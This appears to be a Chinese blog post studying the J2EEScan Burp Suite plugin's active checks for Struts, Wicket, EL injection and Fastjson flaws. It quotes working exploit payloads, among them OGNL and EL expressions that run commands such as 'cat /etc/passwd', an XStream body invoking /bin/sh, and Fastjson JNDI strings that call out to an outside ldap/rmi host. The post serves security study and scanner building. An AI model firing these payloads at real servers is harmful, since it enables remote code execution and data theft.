【BurpSuite】插件开发学习之J2EEScan（下）-主动扫描(11-20)

【BurpSuite】插件开发学习之J2EEScan（下）-主动扫描(11-20)

前言

插件开发学习第7套。前置文章：

【BurpSuite】插件开发学习之Log4shell
【BurpSuite】插件开发学习之Software Vulnerability Scanner
【BurpSuite】插件开发学习之dotnet-Beautifier
【BurpSuite】插件开发学习之active-scan-plus-plus
【BurpSuite】插件开发学习之J2EEScan（上）-被动扫描
【BurpSuite】插件开发学习之J2EEScan（下）-主动扫描(1-10)

继续上一章的分析

分析

【11】ApacheStrutsS2017-S2-017

参数较016 少了redirect:

       redirectMeth.add("redirect:");
        redirectMeth.add("redirectAction:");
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payload

       rawrequest = callbacks.getHelpers().addParameter(rawrequest,
                        callbacks.getHelpers().buildParameter(redir, "http://www.example.com/%23", IParameter.PARAM_URL)
                );

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这里竟然没有恶意参数，知识一个跳转
match返回的状态码和header头

  if (statusCode >= 300 && statusCode < 400) {
                          if (header.substring(header.indexOf(":") + 1).trim().startsWith("http://www.example.com/")) {

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看起来s2 017就是个URL跳转
https://www.cnblogs.com/jinqi520/p/10813737.html

【12】ApacheStrutsS2020 - S2-020

参数

modifiedRawRequest = callbacks.getHelpers().addParameter(rawrequest,
                callbacks.getHelpers().buildParameter("Class.classLoader.URLs[0]",
                        classLoaderStringTest, IParameter.PARAM_URL)
        );
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payload

long unixTime = System.currentTimeMillis() / 1000L;
        String classLoaderStringTest = "testClassloaderManipulation" + unixTime;
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match返回包

    private static final Pattern CLASSLOADER_PM = Pattern.compile("Invalid field value for field|No result defined for action",

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这个漏洞原理是支持使用classLoader
可以看这篇
struts自定义的classloadr

class.classLoader.resources.dirContext.docBase
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这里有两种绕过姿势

• class[‘classLoader’]
• Class.classloader
  问题正则

(.*\.|^)class\..*  两种都能绕过
(.*\.|^)(class|Class)(\.|\[).* 中括号可以绕过
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安全正则

(.*\.|^|.*|\[('|"))(c|C)lass(\.|('|")]|\[).*
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【13】ApacheStrutsS2032 - S2-032

老样子，去除所有参数

     byte[] rawrequest = baseRequestResponse.getRequest();
        //Remove URI parameters
        for (IParameter param : parameters) {
            rawrequest = callbacks.getHelpers().removeParameter(rawrequest, param);
        }
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入参

method:
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payload

%23_memberAccess%3d%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS,%23kzxs%3d%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2c%23kzxs.print(%23parameters.hook[0])%2c%23kzxs.print(new%20java.lang.Integer(829%2b9))%2c%23kzxs.close(),1%3f%23xx%3a%23request.toString
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展开看看

#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,
#kzxs=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),
#kzxs.print(#parameters.hook[0]),
#kzxs.print(new java.lang.Integer(829+9)),
#kzxs.close(),1?
#xx:
#request.toString
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第一步：从表达式上解释设置context中_memberAccess值为ognl.OgnlContext的属性DEFAULT_MEMBER_ACCESS的值.（SecurityMemberAccess 比较严格限制了反射类，DefaultMemberAccess不限制反射类），后面直接调用反射就行。
其中hook[0]是后面的参数

modifiedRawRequest = callbacks.getHelpers().addParameter(modifiedRawRequest,
                    callbacks.getHelpers().buildParameter("hook", "HOOK_VAL", IParameter.PARAM_URL)
            );
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match，因为print了俩，一个是HOOK_VAL，一个是表达式计算的值。

private static final Pattern DYNAMIC_METHOD_INVOCATION = Pattern.compile("HOOK_VAL838",
            Pattern.DOTALL | Pattern.MULTILINE);
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【14】ApacheStrutsS2043 - S2-043（Config Browser插件泄露）

遍历path

private static final List<String> BROWSER_PATHS = Arrays.asList(
            "/config-browser/actionNames",
            "/config-browser/actionNames.action"
    );
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请求之后match

private static final byte[] GREP_STRING = "".getBytes();
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【15】ApacheStrutsS2052-S2-052

首先判断了有没有content-type

        String contentTypeHeader = HTTPParser.getRequestHeaderValue(reqInfo, "Content-type");

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毕竟payload要靠xml传过去
增加content-type

        List<String> headersWithContentTypeXML = HTTPParser.addOrUpdateHeader(headers, "Content-type", "application/xml");

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payload

String payload = " ping " + currentCollaboratorPayload;

        String xmlMarshallingBody= " +
            "  \n" +
            "    \n" +
            "      0\n" +
            "      \n" +
            "        \n" +
            "          \n" +
            "            \n" +
            "              \n" +
            "                false\n" +
            "                0\n" +
            "                \n" +
            "                  \n" +
            "                    \n" +
            "                    \n" +
            "                      \n" +
            "                        /bin/sh-c " + payload + "\n" +
            "                      \n" +
            "                      false\n" +
            "                    \n" +
            "                  \n" +
            "                  \n" +
            "                    \n" +
            "                      java.lang.ProcessBuilder\n" +
            "                      start\n" +
            "                      \n" +
            "                    \n" +
            "                    foo\n" +
            "                  \n" +
            "                  foo\n" +
            "                \n" +
            "                \n" +
            "              \n" +
            "              \n" +
            "              \n" +
            "              false\n" +
            "              0\n" +
            "              0\n" +
            "              false\n" +
            "            \n" +
            "            false\n" +
            "          \n" +
            "          \n" +
            "        \n" +
            "        0\n" +
            "      \n" +
            "    \n" +
            "    \n" +
            "  \n" +
            "  \n" +
            "    \n" +
            "    \n" +
            "  \n" +
            "";
        
    
        
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这个payload和之前的有所不同，查一下漏洞原理：
使用Struts2 REST插件的XStream组件反序列化操作没有校验。
https://blog.csdn.net/qq_44312507/article/details/103585253
match的话match
collaboratorContext的接收值就行。

【16】ApacheStrutsShowcase

ApacheStrutsShowcase
关键路劲

   private static final List<String> STRUTS_SHOWCASE_PATHS = Arrays.asList(
            "/struts2-showcase/showcase.action"
    );
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如果match到

private static final byte[] GREP_STRING = "".getBytes();
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则存在问题

看上去这个showcase.action在多个S2系列的漏洞中出现，比较容易出问题。
https://www.anquanke.com/post/id/86757

【16】ApacheStrutsWebConsole

控制台路径

private static final List<String> STRUTS_WEBCONSOLE_PATHS = Arrays.asList(
            "/struts/webconsole.html?debug=console"
    );
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如果match到

private static final byte[] GREP_STRING = "title>OGNL Console".getBytes();
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则存在问题
长这样

但是有利用条件
只有在开启了Debug模式且ClassPath中使用了struts2-dojo-plugin-*.jar的情况下，webconsole.html页面才有可能存在安全漏洞的风险。
https://www.secpulse.com/archives/48383.html

【17】ApacheWicketArbitraryResourceAccess 目录穿越漏洞

路径包含

"wicket/resource")
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payload则是替换掉上面的路径
换成

    private static final List<String> PAYLOADS = Arrays.asList(
            "wicket/resource/int/wicket.properties,/bla/ HTTP",
            "wicket/resources/int/wicket.properties,/bla/ HTTP"
    );

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这里采用的是替换原始请求包正则匹配

                byte[] wicketRequest = helpers.stringToBytes(plainRequest.replaceFirst("wicket\\/resource.*? HTTP", payload));

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match则是

    private static final byte[] GREP_STRING = "initializer=".getBytes();

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百度竟然没有找到相关漏洞解释
去apache看看
https://issues.apache.org/jira/browse/WICKET-4427
看出来了，是目录穿越

public ExtensionResourceNameIterator(String path, final String extension)
    {
        if ((extension == null) && (path.indexOf('.') != -1))
        {
// Get the extension from the path provided
            extensions = new String[] { "." + Strings.lastPathComponent(path, '.') };
            path = Strings.beforeLastPathComponent(path, '.');
        }
        else if (extension != null)
        {
// Extension can be a comma separated list
            extensions = Strings.split(extension, ',');
            for (int i = extensions.length - 1; i >= 0; i--)
            {
                extensions[i] = extensions[i].trim();
                if (!extensions[i].startsWith("."))
                {
                    extensions[i] = "." + extensions[i];
                }
            }
        }
        else
        {
            extensions = new String[1];
            extensions[0] = ".";
        }

        this.path = path;
        index = 0;
    }
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注意这个分支

else if (extension != null)
        {
// Extension can be a comma separated list
            extensions = Strings.split(extension, ',');
            for (int i = extensions.length - 1; i >= 0; i--)
            {
                extensions[i] = extensions[i].trim();
                if (!extensions[i].startsWith("."))
                {
                    extensions[i] = "." + extensions[i];
                }
            }
        }
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相当于根据,取了多个后缀然后拼接造成了路径穿越。

【18】EL3Injection EL 3.0/Lambda Injection EL表达式注入

payload

   private static final List<byte[]> EL_INJECTION_TESTS = Arrays.asList(
            "System.getProperties()".getBytes()
    );            
     
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直接post请求发过去

            byte[] checkRequest = insertionPoint.buildRequest(INJ_TEST);
            IHttpRequestResponse checkRequestResponse = callbacks.makeHttpRequest(
                    baseRequestResponse.getHttpService(), checkRequest);
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match到

    private static final byte[] GREP_STRING = "java.vendor".getBytes();  
    
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则存在漏洞
这是直接执行命令？？
match的是命令结果

看了下文章

不太现实，是指用户的输入直接传入了elp.eval执行

【19】ELInjection EL (Expression Language) Injection

payload

        byte[] EL_TEST = "(new+java.util.Scanner((T(java.lang.Runtime).getRuntime().exec(\"cat+/etc/passwd\").getInputStream()),\"UTF-8\")).useDelimiter(\"\\\\A\").next()".getBytes();

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拆分一下

a = T(java.lang.Runtime).getRuntime().exec(\"cat+/etc/passwd\")
b = a.getInputStream()
c = new java.util.Scanner(b,utf)
d = c.useDelimiter(\"\\\\A\")
e = d.next()
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match的话就matchpasswd，这个判断不好，既然都是exec，为何不用ping这种跨平台的命令或者echo。

第二中payload

     HashMap<byte[], byte[]> EL_INJECTIONS = new HashMap<byte[], byte[]>() {
            {
                put("${applicationScope}".getBytes(), "javax.servlet.context".getBytes());
                put("#{applicationScope}".getBytes(), "javax.servlet.context".getBytes());
                put(String.format("${%d*%d}", firstInt, secondInt).getBytes(), multiplication.getBytes());
                put(String.format("#{%d*%d}", firstInt, secondInt).getBytes(), multiplication.getBytes());
                put(String.format("{{%d*%d}}", firstInt, secondInt).getBytes(), multiplication.getBytes());
            }
        };

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key是payload，value是响应包的match
EL表达式
https://xz.aliyun.com/t/7692

【20】FastJsonRCE CVE 2017-18349

payload

    // https://github.com/jas502n/fastjson-1.2.61-RCE
        List<String> PAYLOADS = new ArrayList<>();
        PAYLOADS.add("{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://%s:80/obj\",\"autoCommit\":true}");
        PAYLOADS.add("{\"@type\":\"org.apache.commons.configuration2.JNDIConfiguration\",\"prefix\":\"ldap://%s:80/ExportObject\"}");
        PAYLOADS.add("{\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://%s:80/ExportObject\",\"autoCommit\":true}}");
        PAYLOADS.add("{\"a\":{ \"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://%s:80/ExportObject\",\"autoCommit\":true}}");

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记得改content-type

 String contentTypeHeader = HTTPParser.getRequestHeaderValue(reqInfo, "Content-type");
        if (contentTypeHeader != null && !contentTypeHeader.contains("json")) {
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match dnslog即可

collaboratorContext
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分析看这个吧
http://xxlegend.com/2018/10/23/基于JdbcRowSetImpl的Fastjson%20RCE%20PoC构造与分析/

后话

本章结束